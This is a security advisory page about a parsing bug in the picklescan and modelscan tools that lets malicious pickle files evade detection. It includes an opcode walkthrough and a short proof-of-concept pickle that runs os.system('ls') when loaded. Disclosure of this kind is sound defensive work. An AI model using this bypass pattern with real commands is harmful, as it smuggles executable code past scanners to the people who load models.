High

Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass

  • Disclosed: 12.08.2025
  • Updated: 11.10.2026 13:18

Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL. Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.

Example:

    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
    6: S    STRING     'system' --> arg 1: STRING (tracked argument)
   16: \x93 STACK_GLOBAL
   17: S    STRING     'ls'
   23: \x85 TUPLE1
   24: R    REDUCE
   25: .    STOP

PoC

python
import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
    f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))

Impact

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Fix

To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n. https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) picklescan < 0.0.27 0.0.27

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-502
Platform
Python (PyPI)
Package
picklescan
Disclosed
12.08.2025
Updated
11.10.2026 13:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1788 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9gvj-pp9x-gcfr - CC BY 4.0

Vulnerability history: picklescan

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
02.2025 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 25
  • Medium 26

Disclosures per year

  1. 2025: 51
  2. 2026: 7
Severity:
  1. Critical · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. Critical · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. High · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  4. High · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  5. High ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  6. High CVE-2025-71320 < 0.0.33 0.0.33
  7. High · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  8. High CVE-2025-71321 < 0.0.33 0.0.33
  9. Critical · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
  10. Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass this entry
    High CVE-2025-71325 < 0.0.27 0.0.27

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.